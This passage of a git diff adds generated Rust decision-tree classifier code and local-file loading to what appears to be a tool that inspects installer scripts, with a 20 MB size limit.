1.0_f64]; + } + } else { + var111 = vec![1.0_f64, 0.0_f64]; + } + } else { + if input[27] <= 4.143005132675171_f64 { + var111 = vec![0.0_f64, 1.0_f64]; + } else { + if input[27] <= 4.182019948959351_f64 { + var111 = vec![0.5714285714285714_f64, 0.42857142857142855_f64]; + } else { + if input[26] <= 0.34657350182533264_f64 { + var111 = vec![0.0_f64, 1.0_f64]; + } else { + if input[9] <= 0.5_f64 { + var111 = vec![0.0_f64, 1.0_f64]; + } else { + var111 = vec![0.4117647058823529_f64, 0.5882352941176471_f64]; + } + } + } + } + } + } + } else { + if input[45] <= 0.34657350182533264_f64 { + if input[13] <= 4.451910018920898_f64 { + var111 = vec![0.0_f64, 1.0_f64]; + } else { + if input[12] <= 41.4504508972168_f64 { + if input[3] <= 0.5_f64 { + if input[27] <= 4.442584991455078_f64 { + if input[10] <= 8.081869840621948_f64 { + var111 = vec![1.0_f64, 0.0_f64]; + } else { + var111 = vec![0.5_f64, 0.5_f64]; + } + } else { + var111 = vec![1.0_f64, 0.0_f64]; + } + } else { + var111 = vec![0.5_f64, 0.5_f64]; + } + } else { + var111 = vec![0.5_f64, 0.5_f64]; + } + } + } else { + var111 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + var111 = vec![0.0_f64, 1.0_f64]; + } + } + let var112: Vec; + if input[47] <= 0.34657350182533264_f64 { + if input[27] <= 5.453355073928833_f64 { + if input[45] <= 0.34657350182533264_f64 { + if input[0] <= 0.5_f64 { + if input[1] <= 0.5_f64 { + if input[53] <= 0.5_f64 { + var112 = vec![1.0_f64, 0.0_f64]; + } else { + if input[19] <= 0.06980385258793831_f64 { + var112 = vec![1.0_f64, 0.0_f64]; + } else { + if input[35] <= 0.34657350182533264_f64 { + var112 = vec![1.0_f64, 0.0_f64]; + } else { + var112 = vec![0.0_f64, 1.0_f64]; + } + } + } + } else { + if input[31] <= 0.34657350182533264_f64 { + if input[49] <= 0.34657350182533264_f64 { + if input[52] <= 0.5_f64 { + if input[12] <= 38.7088508605957_f64 { + var112 = vec![0.0_f64, 1.0_f64]; + } else { + var112 = vec![1.0_f64, 0.0_f64]; + } + } else { + if input[20] <= 0.33072899281978607_f64 { + var112 = vec![1.0_f64, 0.0_f64]; + } else { + var112 = vec![0.7894736842105263_f64, 0.21052631578947367_f64]; + } + } + } else { + var112 = vec![0.0_f64, 1.0_f64]; + } + } else { + var112 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + var112 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[44] <= 0.34657350182533264_f64 { + var112 = vec![0.75_f64, 0.25_f64]; + } else { + var112 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + if input[51] <= 0.34657350182533264_f64 { + if input[25] <= 1.2424499988555908_f64 { + var112 = vec![0.0_f64, 1.0_f64]; + } else { + if input[21] <= 1.9356000423431396_f64 { + var112 = vec![0.5_f64, 0.5_f64]; + } else { + var112 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + var112 = vec![0.3333333333333333_f64, 0.6666666666666666_f64]; + } + } + } else { + if input[16] <= 0.10078449919819832_f64 { + if input[11] <= 6.089634895324707_f64 { + var112 = vec![0.0_f64, 1.0_f64]; + } else { + if input[25] <= 1.5890249609947205_f64 { + var112 = vec![0.0_f64, 1.0_f64]; + } else { + if input[20] <= 0.5252110064029694_f64 { + var112 = vec![0.5_f64, 0.5_f64]; + } else { + var112 = vec![0.0_f64, 1.0_f64]; + } + } + } + } else { + if input[13] <= 5.231349945068359_f64 { + var112 = vec![0.0_f64, 1.0_f64]; + } else { + var112 = vec![1.0_f64, 0.0_f64]; + } + } + } + let var113: Vec; + if input[2] <= 0.5_f64 { + if input[33] <= 0.34657350182533264_f64 { + if input[42] <= 0.34657350182533264_f64 { + if input[5] <= 0.5_f64 { + if input[22] <= 0.34657350182533264_f64 { + if input[8] <= 0.5_f64 { + var113 = vec![1.0_f64, 0.0_f64]; + } else { + if input[13] <= 4.567270040512085_f64 { + var113 = vec![0.0_f64, 1.0_f64]; + } else { + var113 = vec![0.75_f64, 0.25_f64]; + } + } + } else { + if input[27] <= 5.632689952850342_f64 { + if input[21] <= 0.34657350182533264_f64 { + var113 = vec![0.0_f64, 1.0_f64]; + } else { + if input[10] <= 10.063950061798096_f64 { + var113 = vec![1.0_f64, 0.0_f64]; + } else { + if input[11] <= 6.82005500793457_f64 { + var113 = vec![0.6666666666666666_f64, 0.3333333333333333_f64]; + } else { + var113 = vec![1.0_f64, 0.0_f64]; + } + } + } + } else { + var113 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + if input[10] <= 8.056244850158691_f64 { + if input[11] <= 4.400434970855713_f64 { + var113 = vec![0.0_f64, 1.0_f64]; + } else { + if input[0] <= 0.5_f64 { + if input[19] <= 0.07670145109295845_f64 { + var113 = vec![0.6666666666666666_f64, 0.3333333333333333_f64]; + } else { + var113 = vec![1.0_f64, 0.0_f64]; + } + } else { + var113 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + if input[20] <= 0.2623254954814911_f64 { + var113 = vec![0.0_f64, 1.0_f64]; + } else { + if input[24] <= 0.34657350182533264_f64 { + if input[26] <= 0.34657350182533264_f64 { + if input[25] <= 1.2424499988555908_f64 { + var113 = vec![1.0_f64, 0.0_f64]; + } else { + var113 = vec![0.6666666666666666_f64, 0.3333333333333333_f64]; + } + } else { + var113 = vec![1.0_f64, 0.0_f64]; + } + } else { + var113 = vec![0.25_f64, 0.75_f64]; + } + } + } + } + } else { + var113 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[35] <= 0.34657350182533264_f64 { + if input[20] <= 0.6430245041847229_f64 { + var113 = vec![0.6666666666666666_f64, 0.3333333333333333_f64]; + } else { + var113 = vec![1.0_f64, 0.0_f64]; + } + } else { + if input[44] <= 0.34657350182533264_f64 { + if input[15] <= 5.5990447998046875_f64 { + var113 = vec![0.5_f64, 0.5_f64]; + } else { + var113 = vec![0.0_f64, 1.0_f64]; + } + } else { + var113 = vec![0.0_f64, 1.0_f64]; + } + } + } + } else { + if input[50] <= 0.6931449770927429_f64 { + if input[10] <= 9.872814655303955_f64 { + if input[47] <= 0.34657350182533264_f64 { + if input[21] <= 2.1910150051116943_f64 { + if input[12] <= 43.47345161437988_f64 { + if input[12] <= 24.30030059814453_f64 { + if input[20] <= 0.4359530061483383_f64 { + var113 = vec![0.0_f64, 1.0_f64]; + } else { + if input[52] <= 0.5_f64 { + var113 = vec![0.0_f64, 1.0_f64]; + } else { + var113 = vec![0.5_f64, 0.5_f64]; + } + } + } else { + if input[17] <= 0.30952349305152893_f64 { + var113 = vec![0.0_f64, 1.0_f64]; + } else { + var113 = vec![0.25_f64, 0.75_f64]; + } + } + } else { + var113 = vec![0.25_f64, 0.75_f64]; + } + } else { + var113 = vec![0.6_f64, 0.4_f64]; + } + } else { + var113 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[31] <= 0.34657350182533264_f64 { + if input[17] <= 0.12183499708771706_f64 { + if input[4] <= 0.5_f64 { + if input[38] <= 0.34657350182533264_f64 { + var113 = vec![0.25_f64, 0.75_f64]; + } else { + var113 = vec![0.0_f64, 1.0_f64]; + } + } else { + var113 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[27] <= 4.880959987640381_f64 { + var113 = vec![1.0_f64, 0.0_f64]; + } else { + var113 = vec![0.5_f64, 0.5_f64]; + } + } + } else { + var113 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + if input[17] <= 0.11611049994826317_f64 { + var113 = vec![0.5_f64, 0.5_f64]; + } else { + var113 = vec![1.0_f64, 0.0_f64]; + } + } + } + let var114: Vec; + if input[15] <= 5.523344993591309_f64 { + if input[41] <= 0.34657350182533264_f64 { + if input[2] <= 0.5_f64 { + if input[42] <= 0.34657350182533264_f64 { + if input[1] <= 0.5_f64 { + if input[17] <= 0.28152500092983246_f64 { + var114 = vec![1.0_f64, 0.0_f64]; + } else { + var114 = vec![0.8571428571428571_f64, 0.14285714285714285_f64]; + } + } else { + if input[13] <= 4.537945032119751_f64 { + if input[20] <= 0.22023800015449524_f64 { + if input[17] <= 0.16410250216722488_f64 { + var114 = vec![0.0_f64, 1.0_f64]; + } else { + var114 = vec![0.5_f64, 0.5_f64]; + } + } else { + var114 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[24] <= 0.34657350182533264_f64 { + if input[5] <= 0.5_f64 { + var114 = vec![1.0_f64, 0.0_f64]; + } else { + if input[28] <= 2.341064929962158_f64 { + var114 = vec![1.0_f64, 0.0_f64]; + } else { + var114 = vec![0.5_f64, 0.5_f64]; + } + } + } else { + var114 = vec![0.0_f64, 1.0_f64]; + } + } + } + } else { + var114 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[47] <= 0.34657350182533264_f64 { + if input[31] <= 0.34657350182533264_f64 { + if input[45] <= 0.34657350182533264_f64 { + if input[10] <= 10.373300075531006_f64 { + if input[49] <= 0.34657350182533264_f64 { + if input[1] <= 0.5_f64 { + var114 = vec![1.0_f64, 0.0_f64]; + } else { + var114 = vec![0.25_f64, 0.75_f64]; + } + } else { + var114 = vec![0.0_f64, 1.0_f64]; + } + } else { + var114 = vec![1.0_f64, 0.0_f64]; + } + } else { + if input[16] <= 0.10693709924817085_f64 { + var114 = vec![0.0_f64, 1.0_f64]; + } else { + var114 = vec![1.0_f64, 0.0_f64]; + } + } + } else { + var114 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[11] <= 6.098919868469238_f64 { + var114 = vec![0.0_f64, 1.0_f64]; + } else { + if input[5] <= 0.5_f64 { + var114 = vec![0.25_f64, 0.75_f64]; + } else { + var114 = vec![0.0_f64, 1.0_f64]; + } + } + } + } + } else { + if input[22] <= 0.34657350182533264_f64 { + if input[19] <= 0.07084580138325691_f64 { + var114 = vec![0.0_f64, 1.0_f64]; + } else { + var114 = vec![0.6666666666666666_f64, 0.3333333333333333_f64]; + } + } else { + var114 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + if input[51] <= 1.2424499988555908_f64 { + if input[14] <= 0.025604000315070152_f64 { + if input[15] <= 6.371029853820801_f64 { + var114 = vec![0.0_f64, 1.0_f64]; + } else { + var114 = vec![0.5_f64, 0.5_f64]; + } + } else { + var114 = vec![0.0_f64, 1.0_f64]; + } + } else { + var114 = vec![0.4_f64, 0.6_f64]; + } + } + let var115: Vec; + if input[14] <= 0.053084149956703186_f64 { + if input[16] <= 0.1025024987757206_f64 { + if input[23] <= 0.34657350182533264_f64 { + if input[3] <= 0.5_f64 { + if input[46] <= 0.34657350182533264_f64 { + if input[2] <= 0.5_f64 { + if input[20] <= 2.3058199882507324_f64 { + if input[12] <= 28.113749504089355_f64 { + if input[43] <= 0.5493050217628479_f64 { + var115 = vec![0.9464285714285714_f64, 0.05357142857142857_f64]; + } else { + var115 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[26] <= 0.8958785235881805_f64 { + var115 = vec![0.9702970297029703_f64, 0.0297029702970297_f64]; + } else { + var115 = vec![0.8_f64, 0.2_f64]; + } + } + } else { + var115 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[1] <= 0.5_f64 { + if input[21] <= 0.34657350182533264_f64 { + var115 = vec![0.0_f64, 1.0_f64]; + } else { + if input[11] <= 5.9233551025390625_f64 { + var115 = vec![0.6666666666666666_f64, 0.3333333333333333_f64]; + } else { + var115 = vec![1.0_f64, 0.0_f64]; + } + } + } else { + if input[12] <= 36.370500564575195_f64 { + var115 = vec![0.0_f64, 1.0_f64]; + } else { + if input[33] <= 0.5493050217628479_f64 { + var115 = vec![1.0_f64, 0.0_f64]; + } else { + var115 = vec![0.0_f64, 1.0_f64]; + } + } + } + } + } else { + var115 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[47] <= 0.34657350182533264_f64 { + var115 = vec![0.0_f64, 1.0_f64]; + } else { + if input[13] <= 5.063314914703369_f64 { + var115 = vec![0.0_f64, 1.0_f64]; + } else { + var115 = vec![0.5_f64, 0.5_f64]; + } + } + } + } else { + if input[5] <= 0.5_f64 { + var115 = vec![0.3333333333333333_f64, 0.6666666666666666_f64]; + } else { + var115 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + if input[20] <= 1.6390250325202942_f64 { + if input[41] <= 0.6931449770927429_f64 { + if input[43] <= 0.5493050217628479_f64 { + if input[47] <= 0.34657350182533264_f64 { + if input[5] <= 0.5_f64 { + var115 = vec![1.0_f64, 0.0_f64]; + } else { + if input[19] <= 0.043832650408148766_f64 { + var115 = vec![0.5_f64, 0.5_f64]; + } else { + if input[22] <= 0.34657350182533264_f64 { + var115 = vec![0.9375_f64, 0.0625_f64]; + } else { + var115 = vec![1.0_f64, 0.0_f64]; + } + } + } + } else { + if input[42] <= 0.34657350182533264_f64 { + var115 = vec![0.6666666666666666_f64, 0.3333333333333333_f64]; + } else { + var115 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + var115 = vec![0.0_f64, 1.0_f64]; + } + } else { + var115 = vec![0.0_f64, 1.0_f64]; + } + } else { + var115 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + var115 = vec![0.0_f64, 1.0_f64]; + } + let var116: Vec; + if input[32] <= 0.34657350182533264_f64 { + if input[44] <= 0.34657350182533264_f64 { + if input[27] <= 5.538705110549927_f64 { + if input[12] <= 29.206199645996094_f64 { + if input[40] <= 0.34657350182533264_f64 { + if input[1] <= 0.5_f64 { + var116 = vec![1.0_f64, 0.0_f64]; + } else { + if input[13] <= 4.510315179824829_f64 { + var116 = vec![0.0_f64, 1.0_f64]; + } else { + if input[51] <= 0.34657350182533264_f64 { + if input[43] <= 0.34657350182533264_f64 { + var116 = vec![0.38461538461538464_f64, 0.6153846153846154_f64]; + } else { + var116 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[27] <= 4.240055084228516_f64 { + var116 = vec![0.75_f64, 0.25_f64]; + } else { + var116 = vec![1.0_f64, 0.0_f64]; + } + } + } + } + } else { + var116 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[16] <= 0.07906949892640114_f64 { + if input[46] <= 0.34657350182533264_f64 { + if input[3] <= 0.5_f64 { + if input[10] <= 6.6458001136779785_f64 { + var116 = vec![1.0_f64, 0.0_f64]; + } else { + if input[5] <= 0.5_f64 { + var116 = vec![0.9545454545454546_f64, 0.045454545454545456_f64]; + } else { + var116 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + if input[16] <= 0.024235699325799942_f64 { + var116 = vec![0.0_f64, 1.0_f64]; + } else { + var116 = vec![0.4_f64, 0.6_f64]; + } + } + } else { + var116 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[3] <= 0.5_f64 { + if input[27] <= 3.366700053215027_f64 { + if input[27] <= 3.314020037651062_f64 { + var116 = vec![1.0_f64, 0.0_f64]; + } else { + var116 = vec![0.75_f64, 0.25_f64]; + } + } else { + var116 = vec![1.0_f64, 0.0_f64]; + } + } else { + var116 = vec![0.0_f64, 1.0_f64]; + } + } + } + } else { + var116 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[11] <= 3.1345449686050415_f64 { + var116 = vec![0.0_f64, 1.0_f64]; + } else { + if input[17] <= 0.115471001714468_f64 { + if input[21] <= 0.34657350182533264_f64 { + var116 = vec![0.0_f64, 1.0_f64]; + } else { + if input[20] <= 0.5515429973602295_f64 { + var116 = vec![0.0_f64, 1.0_f64]; + } else { + var116 = vec![0.8_f64, 0.2_f64]; + } + } + } else { + if input[16] <= 0.07901434972882271_f64 { + if input[16] <= 0.0027259800117462873_f64 { + if input[19] <= 0.07652610167860985_f64 { + var116 = vec![0.6666666666666666_f64, 0.3333333333333333_f64]; + } else { + var116 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[47] <= 0.34657350182533264_f64 { + if input[16] <= 0.04473559930920601_f64 { + var116 = vec![0.0_f64, 1.0_f64]; + } else { + var116 = vec![0.75_f64, 0.25_f64]; + } + } else { + var116 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + if input[10] <= 8.280654907226562_f64 { + if input[20] <= 0.2499999925494194_f64 { + var116 = vec![1.0_f64, 0.0_f64]; + } else { + var116 = vec![0.5_f64, 0.5_f64]; + } + } else { + var116 = vec![1.0_f64, 0.0_f64]; + } + } + } + } + } + } else { + if input[15] <= 5.262465000152588_f64 { + if input[16] <= 0.044864701107144356_f64 { + var116 = vec![0.0_f64, 1.0_f64]; + } else { + if input[12] <= 29.569499969482422_f64 { + var116 = vec![0.5_f64, 0.5_f64]; + } else { + var116 = vec![1.0_f64, 0.0_f64]; + } + } + } else { + if input[12] <= 62.792898178100586_f64 { + var116 = vec![0.0_f64, 1.0_f64]; + } else { + if input[3] <= 0.5_f64 { + var116 = vec![0.25_f64, 0.75_f64]; + } else { + var116 = vec![0.0_f64, 1.0_f64]; + } + } + } + } + let var117: Vec; + if input[23] <= 0.34657350182533264_f64 { + if input[8] <= 0.5_f64 { + if input[1] <= 0.5_f64 { + if input[7] <= 0.5_f64 { + if input[11] <= 2.138330101966858_f64 { + var117 = vec![0.8461538461538461_f64, 0.15384615384615385_f64]; + } else { + if input[36] <= 0.34657350182533264_f64 { + if input[21] <= 0.34657350182533264_f64 { + var117 = vec![1.0_f64, 0.0_f64]; + } else { + if input[12] <= 27.99209976196289_f64 { + if input[11] <= 5.559615135192871_f64 { + var117 = vec![0.75_f64, 0.25_f64]; + } else { + var117 = vec![1.0_f64, 0.0_f64]; + } + } else { + var117 = vec![1.0_f64, 0.0_f64]; + } + } + } else { + if input[34] <= 0.5_f64 { + var117 = vec![1.0_f64, 0.0_f64]; + } else { + var117 = vec![0.0_f64, 1.0_f64]; + } + } + } + } else { + var117 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[13] <= 4.516324996948242_f64 { + if input[12] <= 32.79699897766113_f64 { + var117 = vec![0.0_f64, 1.0_f64]; + } else { + if input[13] <= 4.363080024719238_f64 { + var117 = vec![0.6666666666666666_f64, 0.3333333333333333_f64]; + } else { + var117 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + if input[36] <= 0.34657350182533264_f64 { + if input[3] <= 0.5_f64 { + if input[25] <= 0.34657350182533264_f64 { + var117 = vec![0.0_f64, 1.0_f64]; + } else { + if input[41] <= 0.34657350182533264_f64 { + if input[17] <= 0.09198779985308647_f64 { + var117 = vec![0.42857142857142855_f64, 0.5714285714285714_f64]; + } else { + var117 = vec![1.0_f64, 0.0_f64]; + } + } else { + var117 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + if input[11] <= 6.7669501304626465_f64 { + var117 = vec![0.0_f64, 1.0_f64]; + } else { + var117 = vec![1.0_f64, 0.0_f64]; + } + } + } else { + var117 = vec![0.0_f64, 1.0_f64]; + } + } + } + } else { + if input[11] <= 8.232525110244751_f64 { + var117 = vec![0.0_f64, 1.0_f64]; + } else { + if input[27] <= 5.5086798667907715_f64 { + var117 = vec![0.3333333333333333_f64, 0.6666666666666666_f64]; + } else { + var117 = vec![0.0_f64, 1.0_f64]; + } + } + } + } else { + if input[5] <= 0.5_f64 { + var117 = vec![0.6666666666666666_f64, 0.3333333333333333_f64]; + } else { + if input[25] <= 1.2424499988555908_f64 { + var117 = vec![0.0_f64, 1.0_f64]; + } else { + if input[12] <= 28.56410026550293_f64 { + if input[24] <= 0.8958785235881805_f64 { + var117 = vec![0.0_f64, 1.0_f64]; + } else { + var117 = vec![0.5_f64, 0.5_f64]; + } + } else { + var117 = vec![0.0_f64, 1.0_f64]; + } + } + } + } + let var118: Vec; + if input[23] <= 0.34657350182533264_f64 { + if input[47] <= 0.34657350182533264_f64 { + if input[14] <= 0.054325900971889496_f64 { + if input[2] <= 0.5_f64 { + if input[8] <= 0.5_f64 { + if input[3] <= 0.5_f64 { + if input[34] <= 0.5_f64 { + if input[41] <= 0.34657350182533264_f64 { + if input[11] <= 3.0677798986434937_f64 { + var118 = vec![0.9733333333333334_f64, 0.02666666666666667_f64]; + } else { + var118 = vec![1.0_f64, 0.0_f64]; + } + } else { + var118 = vec![0.0_f64, 1.0_f64]; + } + } else { + var118 = vec![0.0_f64, 1.0_f64]; + } + } else { + var118 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[11] <= 5.801889896392822_f64 { + var118 = vec![0.0_f64, 1.0_f64]; + } else { + var118 = vec![1.0_f64, 0.0_f64]; + } + } + } else { + if input[13] <= 4.871304988861084_f64 { + if input[51] <= 0.34657350182533264_f64 { + var118 = vec![0.0_f64, 1.0_f64]; + } else { + if input[20] <= 0.5708265155553818_f64 { + var118 = vec![0.6666666666666666_f64, 0.3333333333333333_f64]; + } else { + var118 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + if input[48] <= 0.5493050217628479_f64 { + if input[18] <= 0.0001972960017155856_f64 { + if input[0] <= 0.5_f64 { + var118 = vec![1.0_f64, 0.0_f64]; + } else { + var118 = vec![0.0_f64, 1.0_f64]; + } + } else { + var118 = vec![1.0_f64, 0.0_f64]; + } + } else { + if input[16] <= 0.04456610046327114_f64 { + var118 = vec![0.0_f64, 1.0_f64]; + } else { + var118 = vec![0.2_f64, 0.8_f64]; + } + } + } + } + } else { + var118 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[10] <= 10.19289493560791_f64 { + var118 = vec![0.0_f64, 1.0_f64]; + } else { + var118 = vec![0.3333333333333333_f64, 0.6666666666666666_f64]; + } + } + } else { + if input[25] <= 0.8958785235881805_f64 { + if input[45] <= 0.34657350182533264_f64 { + if input[2] <= 0.5_f64 { + if input[22] <= 0.34657350182533264_f64 { + var118 = vec![0.0_f64, 1.0_f64]; + } else { + var118 = vec![0.5_f64, 0.5_f64]; + } + } else { + var118 = vec![0.0_f64, 1.0_f64]; + } + } else { + var118 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[1] <= 0.5_f64 { + var118 = vec![1.0_f64, 0.0_f64]; + } else { + var118 = vec![0.0_f64, 1.0_f64]; + } + } + } + let var119: Vec; + if input[15] <= 5.44608998298645_f64 { + if input[5] <= 0.5_f64 { + if input[48] <= 0.34657350182533264_f64 { + if input[35] <= 0.34657350182533264_f64 { + if input[1] <= 0.5_f64 { + if input[47] <= 0.5493050217628479_f64 { + if input[15] <= 4.554874897003174_f64 { + if input[10] <= 7.722984790802002_f64 { + if input[13] <= 4.454080104827881_f64 { + var119 = vec![1.0_f64, 0.0_f64]; + } else { + var119 = vec![0.42857142857142855_f64, 0.5714285714285714_f64]; + } + } else { + var119 = vec![1.0_f64, 0.0_f64]; + } + } else { + var119 = vec![1.0_f64, 0.0_f64]; + } + } else { + var119 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[52] <= 0.5_f64 { + if input[17] <= 0.0745406486093998_f64 { + var119 = vec![0.0_f64, 1.0_f64]; + } else { + if input[17] <= 0.18849550187587738_f64 { + var119 = vec![0.5_f64, 0.5_f64]; + } else { + var119 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + if input[40] <= 0.34657350182533264_f64 { + if input[13] <= 4.493849992752075_f64 { + if input[16] <= 0.05783329904079437_f64 { + var119 = vec![0.0_f64, 1.0_f64]; + } else { + var119 = vec![0.6666666666666666_f64, 0.3333333333333333_f64]; + } + } else { + if input[44] <= 0.34657350182533264_f64 { + var119 = vec![1.0_f64, 0.0_f64]; + } else { + var119 = vec![0.7777777777777778_f64, 0.2222222222222222_f64]; + } + } + } else { + var119 = vec![0.0_f64, 1.0_f64]; + } + } + } + } else { + var119 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[11] <= 6.094465017318726_f64 { + var119 = vec![0.0_f64, 1.0_f64]; + } else { + var119 = vec![0.75_f64, 0.25_f64]; + } + } + } else { + if input[27] <= 4.521550178527832_f64 { + if input[0] <= 0.5_f64 { + if input[23] <= 0.34657350182533264_f64 { + if input[1] <= 0.5_f64 { + var119 = vec![1.0_f64, 0.0_f64]; + } else { + if input[9] <= 0.5_f64 { + var119 = vec![0.0_f64, 1.0_f64]; + } else { + var119 = vec![0.5_f64, 0.5_f64]; + } + } + } else { + var119 = vec![0.0_f64, 1.0_f64]; + } + } else { + var119 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[16] <= 0.051645100116729736_f64 { + if input[3] <= 0.5_f64 { + var119 = vec![0.0_f64, 1.0_f64]; + } else { + var119 = vec![0.6666666666666666_f64, 0.3333333333333333_f64]; + } + } else { + if input[3] <= 0.5_f64 { + var119 = vec![1.0_f64, 0.0_f64]; + } else { + var119 = vec![0.3333333333333333_f64, 0.6666666666666666_f64]; + } + } + } + } + } else { + if input[2] <= 0.5_f64 { + if input[30] <= 0.34657350182533264_f64 { + if input[26] <= 1.5890249609947205_f64 { + if input[19] <= 0.08197025209665298_f64 { + if input[19] <= 0.07439609989523888_f64 { + if input[28] <= 1.1512934863567352_f64 { + if input[17] <= 0.03645835071802139_f64 { + var119 = vec![0.3333333333333333_f64, 0.6666666666666666_f64]; + } else { + var119 = vec![0.0_f64, 1.0_f64]; + } + } else { + var119 = vec![0.5_f64, 0.5_f64]; + } + } else { + var119 = vec![1.0_f64, 0.0_f64]; + } + } else { + var119 = vec![0.0_f64, 1.0_f64]; + } + } else { + var119 = vec![1.0_f64, 0.0_f64]; + } + } else { + var119 = vec![0.0_f64, 1.0_f64]; + } + } else { + var119 = vec![0.0_f64, 1.0_f64]; + } + } + mul_vector_number(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(add_vectors(var0, var1), var2), var3), var4), var5), var6), var7), var8), var9), var10), var11), var12), var13), var14), var15), var16), var17), var18), var19), var20), var21), var22), var23), var24), var25), var26), var27), var28), var29), var30), var31), var32), var33), var34), var35), var36), var37), var38), var39), var40), var41), var42), var43), var44), var45), var46), var47), var48), var49), var50), var51), var52), var53), var54), var55), var56), var57), var58), var59), var60), var61), var62), var63), var64), var65), var66), var67), var68), var69), var70), var71), var72), var73), var74), var75), var76), var77), var78), var79), var80), var81), var82), var83), var84), var85), var86), var87), var88), var89), var90), var91), var92), var93), var94), var95), var96), var97), var98), var99), var100), var101), var102), var103), var104), var105), var106), var107), var108), var109), var110), var111), var112), var113), var114), var115), var116), var117), var118), var119), 0.008333333333333333_f64) + } + fn add_vectors(v1: Vec, v2: Vec) -> Vec { + v1.iter().zip(v2.iter()).map(|(&x, &y)| x + y).collect::>() + } + fn mul_vector_number(v1: Vec, num: f64) -> Vec { + v1.iter().map(|&i| i * num).collect::>() + } +} diff --git a/src/source.rs b/src/source.rs index 1894dd7..25890cd 100644 --- a/src/source.rs +++ b/src/source.rs @@ -23,7 +23,13 @@ pub struct Artifact { pub url: Url, } +const MAX_BYTES: usize = 20_000_000; + pub async fn acquire(input: &str) -> Result { + let path = std::path::Path::new(input.trim()); + if path.is_file() { + return read_local(path); + } let url = extract_url(input)?; let mut response = reqwest::get(url.clone()) .await @@ -33,7 +39,7 @@ pub async fn acquire(input: &str) -> Result { } if response .content_length() - .is_some_and(|size| size > 20_000_000) + .is_some_and(|size| size > MAX_BYTES as u64) { bail!("installer exceeds the 20 MB analysis limit"); } @@ -46,7 +52,7 @@ pub async fn acquire(input: &str) -> Result { .to_owned(); let mut bytes = Vec::new(); while let Some(chunk) = response.chunk().await? { - if bytes.len() + chunk.len() > 20_000_000 { + if bytes.len() + chunk.len() > MAX_BYTES { bail!("installer exceeds the 20 MB analysis limit"); } bytes.extend_from_slice(&chunk); @@ -61,6 +67,26 @@ pub async fn acquire(input: &str) -> Result { }) } +/// Loads a local script for offline inspection; it is analyzed exactly like a download. +pub fn read_local(path: &std::path::Path) -> Result { + let path = path + .canonicalize() + .with_context(|| format!("failed to resolve {}", path.display()))?; + if std::fs::metadata(&path)?.len() > MAX_BYTES as u64 { + bail!("installer exceeds the 20 MB analysis limit"); + } + let bytes = std::fs::read(&path).with_context(|| format!("failed to read {}", path.display()))?; + if bytes.is_empty() { + bail!("installer file is empty"); + } + let url = Url::from_file_path(&path).map_err(|()| anyhow::anyhow!("invalid file path {}", path.display()))?; + Ok(Artifact { + kind: detect_kind(&url, "", &bytes), + bytes, + url, + }) +} + fn extract_url(input: &str) -> Result { if let Ok(url) = Url::parse(input) { return validate_url(url); @@ -88,6 +114,7 @@ fn detect_kind(url: &Url, content_type: &str, bytes: &[u8]) -> InstallerKind { } else if path.ends_with(".py") { InstallerKind::Python } else if path.ends_with(".sh") + || path.ends_with(".bash") || first_line.starts_with("#!") && (first_line.contains("bash") || first_line.contains("/sh")) { @@ -121,6 +148,15 @@ mod tests 